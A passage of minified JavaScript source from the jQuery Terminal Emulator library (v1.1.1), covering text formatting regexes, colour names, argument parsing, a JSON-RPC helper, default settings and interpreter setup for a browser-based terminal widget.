o=0;i.on(\"mousedown.cmd\",function(){t=true;i.oneTime(1,function(){e(window).on(\"mousemove.cmd_\"+a,function(){n=true;e(window).off(\"mousemove.cmd_\"+a)})})}).on(\"mouseup.cmd\",function(s){var l=n;n=false;e(window).off(\"mousemove.cmd_\"+a);if(!l){var f=\"click_\"+a;if(++o===1){var c=t;if(R){i.oneTime(r.clickTimeout,f,function(){if(!e(s.target).is(\".prompt\")&&c){i.position(j({x:s.pageX,y:s.pageY}))}o=0})}else{o=0}}else{i.stopTime(f);o=0}}t=false})})();i.data(\"cmd\",i);if(!(\"KeyboardEvent\"in window&&\"key\"in window.KeyboardEvent.prototype)){setTimeout(function(){throw new Error(\"key event property not supported try \"+\"https://github.com/cvan/keyboardevent-key-polyfill\")},0)}return i};var y=function(){var e=false,t=\"Webkit Moz O ms Khtml\".split(\" \"),r=document.createElement(\"div\");if(r.style.animationName){e=true}if(e===false){for(var i=0;i<t.length;i++){var o=t[i]+\"AnimationName\";if(r.style[o]!==n){e=true;break}}}return e}();var _=navigator.userAgent.toLowerCase().indexOf(\"android\")!==-1;var w=function(){return\"ontouchstart\"in window||!!window.DocumentTouch&&document instanceof window.DocumentTouch}();function b(e,n){var t=n(e);if(t.length){var r=t.shift();var i=e.substring(r.length).trim();return{command:e,name:r,args:t,rest:i}}else{return{command:e,name:\"\",args:[],rest:\"\"}}}var k=/(\\[\\[[!gbiuso]*;[^;]*;[^\\]]*\\](?:[^\\]]*\\\\\\][^\\]]*|[^\\]]*|[^[]*\\[[^\\]]*)\\]?)/i;var x=/\\[\\[([!gbiuso]*);([^;]*);([^;\\]]*);?([^;\\]]*);?([^\\]]*)\\]([^\\]]*\\\\\\][^\\]]*|[^\\]]*|[^[]*\\[[^\\]]*)\\]?/gi;var T=/\\[\\[([!gbiuso]*;[^;\\]]*;[^;\\]]*(?:;|[^\\]()]*);?[^\\]]*)\\]([^\\]]*\\\\\\][^\\]]*|[^\\]]*|[^[]*\\[[^\\]]*)\\]?/gi;var E=/\\[\\[([!gbiuso]*;[^;\\]]*;[^;\\]]*(?:;|[^\\]()]*);?[^\\]]*)\\]([^\\]]*\\\\\\][^\\]]*|[^\\]]*|[^[]*\\[[^\\]]*)\\]/gi;var R=/^\\[\\[([!gbiuso]*;[^;\\]]*;[^;\\]]*(?:;|[^\\]()]*);?[^\\]]*)\\]([^\\]]*\\\\\\][^\\]]*|[^\\]]*|[^[]*\\[[^\\]]*)\\]$/gi;var C=/^#([0-9a-f]{3}|[0-9a-f]{6})$/i;var S=/(\\bhttps?:\\/\\/(?:(?:(?!&[^;]+;)|(?=&amp;))[^\\s\"'<>\\][)])+\\b)/gi;var A=/\\b(https?:\\/\\/(?:(?:(?!&[^;]+;)|(?=&amp;))[^\\s\"'<>\\][)])+)\\b(?![^[\\]]*])/gi;var F=/((([^<>('\")[\\]\\\\.,;:\\s@\"]+(\\.[^<>()[\\]\\\\.,;:\\s@\"]+)*)|(\".+\"))@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\])|(([a-zA-Z\\-0-9]+\\.)+[a-zA-Z]{2,})))/g;var L=/('(?:[^']|\\\\')*'|\"(\\\\\"|[^\"])*\"|(?:\\/(\\\\\\/|[^\\/])+\\/[gimy]*)(?=:? |$)|(\\\\\\s|\\S)+|[\\w-]+)/gi;var O=/(\\[\\[[!gbiuso]*;[^;]*;[^\\]]*\\])/i;var P=/^(\\[\\[[!gbiuso]*;[^;]*;[^\\]]*\\])/i;var j=/\\[\\[[!gbiuso]*;[^;]*;[^\\]]*\\]?$/i;var I=/(\\[\\[(?:[^\\]]|\\\\\\])*\\]\\])/;var N=/^[-+]?[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?$/;var $=/^\\/((?:\\\\\\/|[^\\/]|\\[[^\\]]*\\/[^\\]]*\\])+)\\/([gimy]*)$/;e.terminal={version:\"1.1.1\",color_names:[\"transparent\",\"currentcolor\",\"black\",\"silver\",\"gray\",\"white\",\"maroon\",\"red\",\"purple\",\"fuchsia\",\"green\",\"lime\",\"olive\",\"yellow\",\"navy\",\"blue\",\"teal\",\"aqua\",\"aliceblue\",\"antiquewhite\",\"aqua\",\"aquamarine\",\"azure\",\"beige\",\"bisque\",\"black\",\"blanchedalmond\",\"blue\",\"blueviolet\",\"brown\",\"burlywood\",\"cadetblue\",\"chartreuse\",\"chocolate\",\"coral\",\"cornflowerblue\",\"cornsilk\",\"crimson\",\"cyan\",\"darkblue\",\"darkcyan\",\"darkgoldenrod\",\"darkgray\",\"darkgreen\",\"darkgrey\",\"darkkhaki\",\"darkmagenta\",\"darkolivegreen\",\"darkorange\",\"darkorchid\",\"darkred\",\"darksalmon\",\"darkseagreen\",\"darkslateblue\",\"darkslategray\",\"darkslategrey\",\"darkturquoise\",\"darkviolet\",\"deeppink\",\"deepskyblue\",\"dimgray\",\"dimgrey\",\"dodgerblue\",\"firebrick\",\"floralwhite\",\"forestgreen\",\"fuchsia\",\"gainsboro\",\"ghostwhite\",\"gold\",\"goldenrod\",\"gray\",\"green\",\"greenyellow\",\"grey\",\"honeydew\",\"hotpink\",\"indianred\",\"indigo\",\"ivory\",\"khaki\",\"lavender\",\"lavenderblush\",\"lawngreen\",\"lemonchiffon\",\"lightblue\",\"lightcoral\",\"lightcyan\",\"lightgoldenrodyellow\",\"lightgray\",\"lightgreen\",\"lightgrey\",\"lightpink\",\"lightsalmon\",\"lightseagreen\",\"lightskyblue\",\"lightslategray\",\"lightslategrey\",\"lightsteelblue\",\"lightyellow\",\"lime\",\"limegreen\",\"linen\",\"magenta\",\"maroon\",\"mediumaquamarine\",\"mediumblue\",\"mediumorchid\",\"mediumpurple\",\"mediumseagreen\",\"mediumslateblue\",\"mediumspringgreen\",\"mediumturquoise\",\"mediumvioletred\",\"midnightblue\",\"mintcream\",\"mistyrose\",\"moccasin\",\"navajowhite\",\"navy\",\"oldlace\",\"olive\",\"olivedrab\",\"orange\",\"orangered\",\"orchid\",\"palegoldenrod\",\"palegreen\",\"paleturquoise\",\"palevioletred\",\"papayawhip\",\"peachpuff\",\"peru\",\"pink\",\"plum\",\"powderblue\",\"purple\",\"red\",\"rosybrown\",\"royalblue\",\"saddlebrown\",\"salmon\",\"sandybrown\",\"seagreen\",\"seashell\",\"sienna\",\"silver\",\"skyblue\",\"slateblue\",\"slategray\",\"slategrey\",\"snow\",\"springgreen\",\"steelblue\",\"tan\",\"teal\",\"thistle\",\"tomato\",\"turquoise\",\"violet\",\"wheat\",\"white\",\"whitesmoke\",\"yellow\",\"yellowgreen\"],valid_color:function(n){if(n.match(C)){return true}else{return e.inArray(n.toLowerCase(),e.terminal.color_names)!==-1}},escape_regex:function(e){if(typeof e===\"string\"){var n=/([-\\\\^$[\\]()+{}?*.|])/g;return e.replace(n,\"\\\\$1\")}},have_formatting:function(e){return typeof e===\"string\"&&!!e.match(E)},is_formatting:function(e){return typeof e===\"string\"&&!!e.match(R)},format_split:function(e){return e.split(k)},split_equal:function(n,t,r){var i=false;var o=false;var a=\"\";var s=[];var l=n.replace(T,function(e,n,t){var r=n.match(/;/g).length;if(r>=4){return e}else if(r===2){r=\";;\"}else if(r===3){r=\";\"}else{r=\"\"}var i=t.replace(/\\\\\\]/g,\"&#93;\").replace(/\\n/g,\"\\\\n\").replace(/&nbsp;/g,\" \");return\"[[\"+n+r+i+\"]\"+t+\"]\"}).split(/\\n/g);function f(){return m.substring(y-6,y)===\"&nbsp;\"||m.substring(y-1,y)===\" \"}function c(){var e=g.match(T);if(e){var n=e[e.length-1];if(n[n.length-1]!==\"]\"){a=n.match(O)[1];g+=\"]\"}else if(g.match(j)){g=g.replace(j,\"\");a=n.match(O)[1]}}}for(var u=0,p=l.length;u<p;++u){if(l[u]===\"\"){s.push(\"\");continue}var m=l[u];var h=0;var d=0;var g;var v=-1;for(var y=0,_=m.length;y<_;++y){if(m.substring(y).match(P)){i=true;o=false}else if(i&&m[y]===\"]\"){if(o){i=false;o=false}else{o=true}}else if(i&&o||!i){if(m[y]===\"&\"){var w=m.substring(y).match(/^(&[^;]+;)/);if(!w){throw new Error(\"Unclosed html entity in line \"+(u+1)+\" at char \"+(y+1))}y+=w[1].length-2;if(y===_-1){s.push(g+w[1])}continue}else if(m[y]===\"]\"&&m[y-1]===\"\\\\\"){--d}else{++d}}if(f()&&(i&&o||!i||m[y]===\"[\"&&m[y+1]===\"[\")){v=y}if((d===t||y===_-1)&&(i&&o||!i)){var b=e.terminal.strip(m.substring(v));b=e(\"<span>\"+b+\"</span>\").text();var k=b.length;b=b.substring(0,y+t+1);var x=!!b.match(/\\s/)||y+t+1>k;if(r&&v!==-1&&y!==_-1&&x){g=m.substring(h,v);y=v-1}else{g=m.substring(h,y+1)}if(r){g=g.replace(/(&nbsp;|\\s)+$/g,\"\")}v=-1;h=y+1;d=0;if(a){g=a+g;if(g.match(\"]\")){a=\"\"}}c();s.push(g)}}}return s},encode:function(e){e=e.replace(/&(?!#[0-9]+;|[a-zA-Z]+;)/g,\"&amp;\");return e.replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\").replace(/ /g,\"&nbsp;\").replace(/\\t/g,\"&nbsp;&nbsp;&nbsp;&nbsp;\")},escape_formatting:function(n){return e.terminal.escape_brackets(e.terminal.encode(n))},format:function(n,t){var r=e.extend({},{linksNoReferrer:false},t||{});if(typeof n===\"string\"){var i=e.terminal.format_split(n);n=e.map(i,function(n){if(n===\"\"){return n}else if(e.terminal.is_formatting(n)){n=n.replace(/\\[\\[[^\\]]+\\]/,function(e){return e.replace(/&nbsp;/g,\" \")});return n.replace(x,function(n,t,i,o,a,s,l){if(l===\"\"){return\"\"}l=l.replace(/\\\\]/g,\"]\");var f=\"\";if(t.indexOf(\"b\")!==-1){f+=\"font-weight:bold;\"}var c=[];if(t.indexOf(\"u\")!==-1){c.push(\"underline\")}if(t.indexOf(\"s\")!==-1){c.push(\"line-through\")}if(t.indexOf(\"o\")!==-1){c.push(\"overline\")}if(c.length){f+=\"text-decoration:\"+c.join(\" \")+\";\"}if(t.indexOf(\"i\")!==-1){f+=\"font-style:italic;\"}if(e.terminal.valid_color(i)){f+=\"color:\"+i+\";\";if(t.indexOf(\"g\")!==-1){f+=\"text-shadow:0 0 5px \"+i+\";\"}}if(e.terminal.valid_color(o)){f+=\"background-color:\"+o}var u;if(s===\"\"){u=l}else{u=s.replace(/&#93;/g,\"]\")}var p;if(t.indexOf(\"!\")!==-1){if(u.match(F)){p='<a href=\"mailto:'+u+'\" '}else{p='<a target=\"_blank\" href=\"'+u+'\" ';if(r.linksNoReferrer){p+='rel=\"noreferrer\" '}}}else{p=\"<span\"}if(f!==\"\"){p+=' style=\"'+f+'\"'}if(a!==\"\"){p+=' class=\"'+a+'\"'}if(t.indexOf(\"!\")!==-1){p+=\">\"+l+\"</a>\"}else{p+=' data-text=\"'+u.replace('\"',\"&quote;\")+'\">'+l+\"</span>\"}return p})}else{return\"<span>\"+n.replace(/\\\\\\]/g,\"]\")+\"</span>\"}}).join(\"\");return n.replace(/<span><br\\s*\\/?><\\/span>/gi,\"<br/>\")}else{return\"\"}},escape_brackets:function(e){return e.replace(/\\[/g,\"&#91;\").replace(/\\]/g,\"&#93;\")},strip:function(e){return e.replace(x,\"$6\")},active:function(){return Z.front()},last_id:function(){var e=Z.length();if(e){return e-1}},parse_arguments:function(n){return e.map(n.match(L)||[],function(n){var t=n.match($);if(t){return new RegExp(t[1],t[2])}else if(n[0]===\"'\"&&n[n.length-1]===\"'\"&&n.length>1){return n.replace(/^'|'$/g,\"\")}else if(n[0]==='\"'&&n[n.length-1]==='\"'&&n.length>1){return e.parseJSON(n)}else if(n.match(/^-?[0-9]+$/)){return parseInt(n,10)}else if(n.match(N)){return parseFloat(n)}else if(n.match(/^['\"]$/)){return\"\"}else{return n.replace(/\\\\(['\"() ])/g,\"$1\")}})},split_arguments:function(n){return e.map(n.match(L)||[],function(e){if(e[0]===\"'\"&&e[e.length-1]===\"'\"){return e.replace(/^'|'$/g,\"\")}else if(e[0]==='\"'&&e[e.length-1]==='\"'){return e.replace(/^\"|\"$/g,\"\").replace(/\\\\([\" ])/g,\"$1\")}else if(e.match(/\\/.*\\/[gimy]*$/)){return e}else{return e.replace(/\\\\ /g,\" \")}})},parse_command:function(n){return b(n,e.terminal.parse_arguments)},split_command:function(n){return b(n,e.terminal.split_arguments)},extended_command:function(e,n){try{te=false;e.exec(n,true).then(function(){te=true})}catch(t){}}};e.fn.visible=function(){return this.css(\"visibility\",\"visible\")};e.fn.hidden=function(){return this.css(\"visibility\",\"hidden\")};e.fn.scroll_element=function(){var n=e.fn.scroll_element.defaults;return this.map(function(){var t=e(this);if(t.is(\"body\")){var r=e(\"html\");var i=e(\"body\");var o=i.scrollTop()||r.scrollTop();var a=e(\"<pre/>\").css(n.pre).appendTo(\"body\");a.html(new Array(n.lines).join(\"\\n\"));e(\"body,html\").scrollTop(10);var s;if(i.scrollTop()===10){i.scrollTop(o);s=i[0]}else if(r.scrollTop()===10){r.scrollTop(o);s=r[0]}a.remove();return s}else{return this}})};e.fn.scroll_element.defaults={lines:2e3,pre:{\"font-size\":\"14px\",\"white-space\":\"pre\"}};function z(){if(!(\"KeyboardEvent\"in window&&\"key\"in window.KeyboardEvent.prototype)){return false}var e=window.KeyboardEvent.prototype;var n=Object.getOwnPropertyDescriptor(e,\"key\").get;return n.toString().match(/\\[native code\\]/)}function H(e){if(console&&console.warn){console.warn(e)}else{throw new Error(\"WARN: \"+e)}}var D={};e.jrpc=function(n,t,r,i,o){\nvar a;if(e.isPlainObject(n)){a=n}else{a={url:n,method:t,params:r,success:i,error:o}}function s(e){return typeof e.id===\"number\"&&typeof e.result!==\"undefined\"||a.method===\"system.describe\"&&e.name===\"DemoService\"&&typeof e.id!==\"undefined\"&&e.procs instanceof Array}D[a.url]=D[a.url]||0;var l={jsonrpc:\"2.0\",method:a.method,params:a.params,id:++D[a.url]};return e.ajax({url:a.url,beforeSend:function(n,t){if(e.isFunction(a.request)){a.request(n,l)}t.data=JSON.stringify(l)},success:function(n,t,r){var i=r.getResponseHeader(\"Content-Type\");if(!i.match(/(application|text)\\/json/)){H(\"Response Content-Type is neither application/json\"+\" nor text/json\")}var o;try{o=e.parseJSON(n)}catch(l){if(a.error){a.error(r,\"Invalid JSON\",l)}else{throw new Error(\"Invalid JSON\")}return}if(e.isFunction(a.response)){a.response(r,o)}if(s(o)){a.success(o,t,r)}else if(a.error){a.error(r,\"Invalid JSON-RPC\")}else{throw new Error(\"Invalid JSON-RPC\")}},error:a.error,contentType:\"application/json\",dataType:\"text\",async:true,cache:false,type:\"POST\"})};function B(){var n=e('<div class=\"terminal temp\"><div class=\"cmd\"><span cla'+'ss=\"cursor\">&nbsp;</span></div></div>').appendTo(\"body\");var t=n.find(\"span\");var r={width:t.width(),height:t.outerHeight()};n.remove();return r}function M(n){var t=e('<div class=\"terminal wrap\"><span class=\"cursor\">'+\"&nbsp;</span></div>\").appendTo(\"body\").css(\"padding\",0);var r=t.find(\"span\");var i=r[0].getBoundingClientRect().width;var o=Math.floor(n.find(\"iframe\").width()/i);t.remove();return o}function W(e){return Math.floor(e.height()/B().height)}function U(){if(window.getSelection||document.getSelection){var e=(window.getSelection||document.getSelection)();if(e.text){return e.text}else{return e.toString()}}else if(document.selection){return document.selection.createRange().text}}function K(n,t){var r=e(\"<div>\"+t.replace(/\\n/,\"<br/>\")+\"<div>\");var i;n.append(r);if(document.body.createTextRange){i=document.body.createTextRange();i.moveToElementText(r[0]);i.select()}else if(window.getSelection){var o=window.getSelection();if(o.setBaseAndExtent){o.setBaseAndExtent(r[0],0,r[0],1)}else if(document.createRange){i=document.createRange();i.selectNodeContents(r[0]);o.removeAllRanges();o.addRange(i)}}try{document.execCommand(\"copy\")}catch(a){}r.remove()}var q=!e.terminal.version.match(/^\\{\\{/);var J=\"Copyright (c) 2011-2017 Jakub Jankiewicz <http://jcubic\"+\".pl/me>\";var G=q?\" v. \"+e.terminal.version:\" \";var Y=new RegExp(\" {\"+G.length+\"}$\");var X=\"jQuery Terminal Emulator\"+(q?G:\"\");var V=[[\"jQuery Terminal\",\"(c) 2011-2017 jcubic\"],[X,J.replace(/^Copyright | *<.*>/g,\"\")],[X,J.replace(/^Copyright /,\"\")],[\"      _______                 ________                        __\",\"     / / _  /_ ____________ _/__  ___/______________  _____  / /\",\" __ / / // / // / _  / _/ // / / / _  / _/     / /  \\\\/ / _ \\\\/ /\",\"/  / / // / // / ___/ // // / / / ___/ // / / / / /\\\\  / // / /__\",\"\\\\___/____ \\\\\\\\__/____/_/ \\\\__ / /_/____/_//_/_/_/ /_/  \\\\/\\\\__\\\\_\\\\___/\",\"         \\\\/          /____/                                   \".replace(Y,\" \")+G,J],[\"      __ _____                     ________                            \"+\"  __\",\"     / // _  /__ __ _____ ___ __ _/__  ___/__ ___ ______ __ __  __ ___ \"+\" / /\",\" __ / // // // // // _  // _// // / / // _  // _//     // //  \\\\/ // _ \"+\"\\\\/ /\",\"/  / // // // // // ___// / / // / / // ___// / / / / // // /\\\\  // // \"+\"/ /__\",\"\\\\___//____ \\\\\\\\___//____//_/ _\\\\_  / /_//____//_/ /_/ /_//_//_/ /_/ \\\\\"+\"__\\\\_\\\\___/\",(\"          \\\\/              /____/                                      \"+\"    \").replace(Y,\"\")+G,J]];e.terminal.defaults={prompt:\"> \",history:true,exit:true,clear:true,enabled:true,historySize:60,maskChar:\"*\",wrap:true,checkArity:true,raw:false,exceptionHandler:null,pauseEvents:true,memory:false,cancelableAjax:true,processArguments:true,linksNoReferrer:false,processRPCResponse:null,Token:true,convertLinks:true,extra:{},historyState:false,importHistory:false,echoCommand:true,scrollOnEcho:true,login:null,outputLimit:-1,formatters:[],onAjaxError:null,scrollBottomOffset:20,wordAutocomplete:true,clickTimeout:200,request:e.noop,response:e.noop,onRPCError:null,completion:false,historyFilter:null,softPause:false,onInit:e.noop,onClear:e.noop,onBlur:e.noop,onFocus:e.noop,onTerminalChange:e.noop,onExit:e.noop,onPush:e.noop,onPop:e.noop,keypress:e.noop,keydown:e.noop,strings:{comletionParameters:\"From version 1.0.0 completion function need to\"+\" have two arguments\",wrongPasswordTryAgain:\"Wrong password try again!\",wrongPassword:\"Wrong password!\",ajaxAbortError:\"Error while aborting ajax call!\",wrongArity:\"Wrong number of arguments. Function '%s' expects %s got\"+\" %s!\",commandNotFound:\"Command '%s' Not Found!\",oneRPCWithIgnore:\"You can use only one rpc with ignoreSystemDescr\"+\"ibe or rpc without system.describe\",oneInterpreterFunction:\"You can't use more than one function (rpc \"+\"without system.describe or with option ignoreSystemDescribe cou\"+\"nts as one)\",loginFunctionMissing:\"You didn't specify a login function\",noTokenError:\"Access denied (no token)\",serverResponse:\"Server responded\",wrongGreetings:\"Wrong value of greetings parameter\",notWhileLogin:\"You can't call `%s' function while in login\",loginIsNotAFunction:\"Authenticate must be a function\",canExitError:\"You can't exit from main interpreter\",invalidCompletion:\"Invalid completion\",invalidSelector:'Sorry, but terminal said that \"%s\" is not valid '+\"selector!\",invalidTerminalId:\"Invalid Terminal ID\",login:\"login\",password:\"password\",recursiveCall:\"Recursive call detected, skip\",notAString:\"%s function: argument is not a string\",redrawError:\"Internal error, wrong position in cmd redraw\"}};var Q=[];var Z=new h;var ee=[];var ne;var te=false;var re=true;var ie=true;e.fn.terminal=function(t,i){function o(n){if(n){this.storage={}}this.set=function(t,r){if(n){this.storage[t]=r}else{e.Storage.set(t,r)}};this.get=function(t){if(n){return this.storage[t]}else{return e.Storage.get(t)}};this.remove=function(t){if(n){delete this.storage[t]}else{e.Storage.remove(t)}}}function a(n){if(e.isFunction(Ce.processArguments)){return b(n,Ce.processArguments)}else if(Ce.processArguments){return e.terminal.parse_command(n)}else{return e.terminal.split_command(n)}}function s(n){if(typeof n===\"string\"){se.echo(n)}else if(n instanceof Array){se.echo(e.map(n,function(e){return JSON.stringify(e)}).join(\" \"))}else if(typeof n===\"object\"){se.echo(JSON.stringify(n))}else{se.echo(n)}}function l(n){var t=/(.*):([0-9]+):([0-9]+)$/;var r=n.match(t);if(r){se.pause(Ce.softPause);e.get(r[1],function(n){var t=location.href.replace(/[^\\/]+$/,\"\");var i=r[1].replace(t,\"\");se.echo(\"[[b;white;]\"+i+\"]\");var o=n.split(\"\\n\");var a=+r[2]-1;se.echo(o.slice(a-2,a+3).map(function(n,t){if(t===2){n=\"[[;#f00;]\"+e.terminal.escape_brackets(n)+\"]\"}return\"[\"+(a+t)+\"]: \"+n}).join(\"\\n\")).resume()},\"text\")}}function f(n){if(e.isFunction(Ce.onRPCError)){Ce.onRPCError.call(se,n)}else{se.error(\"&#91;RPC&#93; \"+n.message);if(n.error&&n.error.message){n=n.error;var t=\"    \"+n.message;if(n.file){t+=' in file \"'+n.file.replace(/.*\\//,\"\")+'\"'}if(n.at){t+=\" at line \"+n.at}se.error(t)}}}function c(n,t){var r=function(t,r){se.pause(Ce.softPause);e.jrpc({url:n,method:t,params:r,request:function(e,n){try{Ce.request.apply(se,e,n,se)}catch(t){y(t,\"USER\")}},response:function(e,n){try{Ce.response.apply(se,e,n,se)}catch(t){y(t,\"USER\")}},success:function(n){if(n.error){f(n.error)}else if(e.isFunction(Ce.processRPCResponse)){Ce.processRPCResponse.call(se,n.result,se)}else{s(n.result)}se.resume()},error:p})};return function(e,n){if(e===\"\"){return}try{e=a(e)}catch(i){y(i,\"TERMINAL (get_processed_command)\");return}if(!t||e.name===\"help\"){r(e.name,e.args)}else{var o=n.token();if(o){r(e.name,[o].concat(e.args))}else{n.error(\"&#91;AUTH&#93; \"+Ae.noTokenError)}}}}function u(t,r,i,o){return function(s,l){if(s===\"\"){return}var f;try{f=a(s)}catch(c){if(e.isFunction(Ce.exception)){Ce.exception(c,se)}else{se.error(c.toString())}return}var p=t[f.name];var m=e.type(p);if(m===\"function\"){if(r&&p.length!==f.args.length){se.error(\"&#91;Arity&#93; \"+sprintf(Ae.wrongArity,f.name,p.length,f.args.length))}else{return p.apply(se,f.args)}}else if(m===\"object\"||m===\"string\"){var h=[];if(m===\"object\"){h=Object.keys(p);p=u(p,r,i)}l.push(p,{prompt:f.name+\"> \",name:f.name,completion:m===\"object\"?h:n})}else if(e.isFunction(o)){o(s,se)}else if(e.isFunction(Ce.onCommandNotFound)){Ce.onCommandNotFound.call(se,s,se)}else{l.error(sprintf(Ae.commandNotFound,f.name))}}}function p(n,t,r){se.resume();if(e.isFunction(Ce.onAjaxError)){Ce.onAjaxError.call(se,n,t,r)}else if(t!==\"abort\"){se.error(\"&#91;AJAX&#93; \"+t+\" - \"+Ae.serverResponse+\":\\n\"+e.terminal.escape_brackets(n.responseText))}}function m(n,t,r){function i(n){if(n.error){f(n.error)}else if(e.isFunction(Ce.processRPCResponse)){Ce.processRPCResponse.call(se,n.result,se)}else{s(n.result)}se.resume()}function o(e,n){try{Ce.request.call(se,e,n,se)}catch(t){y(t,\"USER\")}}function a(e,n){try{Ce.response.call(se,e,n,se)}catch(t){y(t,\"USER\")}}function l(s){if(s.procs){var l={};e.each(s.procs,function(r,s){l[s.name]=function(){var r=t&&s.name!==\"help\";var l=Array.prototype.slice.call(arguments);var f=l.length+(r?1:0);if(Ce.checkArity&&s.params&&s.params.length!==f){se.error(\"&#91;Arity&#93; \"+sprintf(Ae.wrongArity,s.name,s.params.length,f))}else{se.pause(Ce.softPause);if(r){var c=se.token(true);if(c){l=[c].concat(l)}else{se.error(\"&#91;AUTH&#93; \"+Ae.noTokenError)}}e.jrpc({url:n,method:s.name,params:l,request:o,response:a,success:i,error:p})}}});l.help=l.help||function(n){if(typeof n===\"undefined\"){var t=s.procs.map(function(e){return e.name}).join(\", \")+\", help\";se.echo(\"Available commands: \"+t)}else{var r=false;e.each(s.procs,function(e,t){if(t.name===n){r=true;var i=\"\";i+=\"[[bu;#fff;]\"+t.name+\"]\";if(t.params){i+=\" \"+t.params.join(\" \")}if(t.help){i+=\"\\n\"+t.help}se.echo(i);return false}});if(!r){if(n===\"help\"){se.echo(\"[[bu;#fff;]help] [method]\\ndisplay help \"+\"for the method or list of methods if not\"+\" specified\")}else{var i=\"Method `\"+n+\"' not found \";se.error(i)}}}};r(l)}else{r(null)}}return e.jrpc({url:n,method:\"system.describe\",params:[],success:l,request:function(e,n){try{Ce.request.call(se,e,n,se)}catch(t){y(t,\"USER\")}},response:function(e,n){try{Ce.response.call(se,e,n,se)}catch(t){y(t,\"USER\")}},error:function(){r(null)}})}function h(n,t,r){r=r||e.noop;var i=e.type(n);var o;var a={};var s=0;var l;if(i===\"array\"){o={};(function f(n,r){if(n.length){var i=n[0];var a=n.slice(1);var u=e.type(i);if(u===\"string\"){se.pause(Ce.softPause);if(Ce.ignoreSystemDescribe){if(++s===1){l=c(i,t)}else{se.error(Ae.oneRPCWithIgnore)}f(a,r)}else{m(i,t,function(n){if(n){e.extend(o,n)}else if(++s===1){l=c(i,t)}else{se.error(Ae.oneRPCWithIgnore)}se.resume();f(a,r)})}}else if(u===\"function\"){if(l){se.error(Ae.oneInterpreterFunction)}else{l=i}f(a,r)}else if(u===\"object\"){e.extend(o,i);f(a,r)}}else{r()}})(n,function(){r({interpreter:u(o,false,t,l.bind(se)),completion:Object.keys(o)})})}else if(i===\"string\"){if(Ce.ignoreSystemDescribe){o={interpreter:c(n,t)};if(e.isArray(Ce.completion)){o.completion=Ce.completion}r(o)}else{se.pause(Ce.softPause);m(n,t,function(e){if(e){a.interpreter=u(e,false,t);a.completion=Object.keys(e)}else{a.interpreter=c(n,t)}r(a);se.resume()})}}else if(i===\"object\"){r({interpreter:u(n,Ce.checkArity),completion:Object.keys(n)})}else{if(i===\"undefined\"){n=e.noop}else if(i!==\"function\"){throw new Error(i+\" is invalid interpreter value\")}r({interpreter:n,completion:Ce.completion})}}function g(n,t){var r=e.type(t)===\"boolean\"?\"login\":t;return function(t,i,o){se.pause(Ce.softPause);e.jrpc({url:n,method:r,params:[t,i],request:function(e,n){try{Ce.request.call(se,e,n,se)}catch(t){y(t,\"USER\")}},response:function(e,n){try{Ce.response.call(se,e,n,se)}catch(t){y(t,\"USER\")}},success:function(e){if(!e.error&&e.result){o(e.result)}else{o(null)}se.resume()},error:p})}}function v(e){if(typeof e===\"string\"){return e}else if(typeof e.fileName===\"string\"){return e.fileName+\": \"+e.message}else{return e.message}}function y(n,t){if(e.isFunction(Ce.exceptionHandler)){Ce.exceptionHandler.call(se,n,t)}else{se.exception(n,t)}}function _(){var e;if(le.prop){e=le.prop(\"scrollHeight\")}else{e=le.attr(\"scrollHeight\")}le.scrollTop(e)}function k(n,t){try{if(e.isFunction(t)){t(function(){})}else if(typeof t!==\"string\"){var r=n+\" must be string or function\";throw r}}catch(i){y(i,n.toUpperCase());return false}return true}var x=[];var T=1;function E(t,r){if(Ce.convertLinks&&!r.raw){t=t.replace(F,\"[[!;;]$1]\").replace(A,\"[[!;;]$1]\")}var i=e.terminal.defaults.formatters;var o,a;if(!r.raw){if(r.formatters){for(o=0;o<i.length;++o){try{if(typeof i[o]===\"function\"){var s=i[o](t);if(typeof s===\"string\"){t=s}}}catch(l){if(e.isFunction(Ce.exceptionHandler)){Ce.exceptionHandler.call(se,l,\"FORMATTERS\")}else{alert(\"formatting error at formatters[\"+o+\"]\\n\"+(l.stack?l.stack:l))}}}}t=e.terminal.encode(t)}x.push(T);if(!r.raw&&(t.length>he||t.match(/\\n/))&&(Ce.wrap===true&&r.wrap===n||Ce.wrap===false&&r.wrap===true)){var f=r.keepWords;var c=e.terminal.split_equal(t,he,f);for(o=0,a=c.length;o<a;++o){if(c[o]===\"\"||c[o]===\"\\r\"){x.push(\"<span></span>\")}else if(r.raw){x.push(c[o])}else{x.push(e.terminal.format(c[o],{linksNoReferrer:Ce.linksNoReferrer}))}}}else if(!r.raw){t=e.terminal.format(t,{linksNoReferrer:Ce.linksNoReferrer});t.split(/\\n/).forEach(function(e){x.push(e)})}else{x.push(t)}x.push(r.finalize)}function R(n,t){try{var r=e.extend({exec:true,raw:false,finalize:e.noop},t||{});var i=e.type(n)===\"function\"?n():n;i=e.type(i)===\"string\"?i:String(i);if(i!==\"\"){i=e.map(i.split(I),function(n){if(n.match(I)&&!e.terminal.is_formatting(n)){n=n.replace(/^\\[\\[|\\]\\]$/g,\"\");if(r.exec){if(fe&&fe.command===n){se.error(Ae.recursiveCall)}else{e.terminal.extended_command(se,n)}}return\"\"}else{return n}}).join(\"\");if(i!==\"\"){E(i,r)}}}catch(o){x=[];if(e.isFunction(Ce.exceptionHandler)){Ce.exceptionHandler.call(se,o,\"TERMINAL\")}else{alert(\"[Internal Exception(process_line)]:\"+v(o)+\"\\n\"+o.stack)}}}function C(){Be.resize(he);var n=pe.empty().detach();var t;if(Ce.outputLimit>=0){var r;if(Ce.outputLimit===0){r=se.rows()}else{r=Ce.outputLimit}t=ue.slice(ue.length-r-1)}else{t=ue}try{x=[];e.each(t,function(e,n){R.apply(null,n)});Be.before(n);se.flush()}catch(i){if(e.isFunction(Ce.exceptionHandler)){Ce.exceptionHandler.call(se,i,\"TERMINAL (redraw)\")}else{alert(\"Exception in redraw\\n\"+i.stack)}}}function L(){if(Ce.greetings===n){se.echo(se.signature)}else if(Ce.greetings){var e=typeof Ce.greetings;if(e===\"string\"){se.echo(Ce.greetings)}else if(e===\"function\"){Ce.greetings.call(se,se.echo)}else{se.error(Ae.wrongGreetings)}}}function O(n){if(typeof n===\"undefined\"){n=se.get_command()}var t=Be.prompt();var r=Be.mask();switch(typeof r){case\"string\":n=n.replace(/./g,r);break;case\"boolean\":if(r){n=n.replace(/./g,Ce.maskChar)}else{n=e.terminal.escape_formatting(n)}break}var 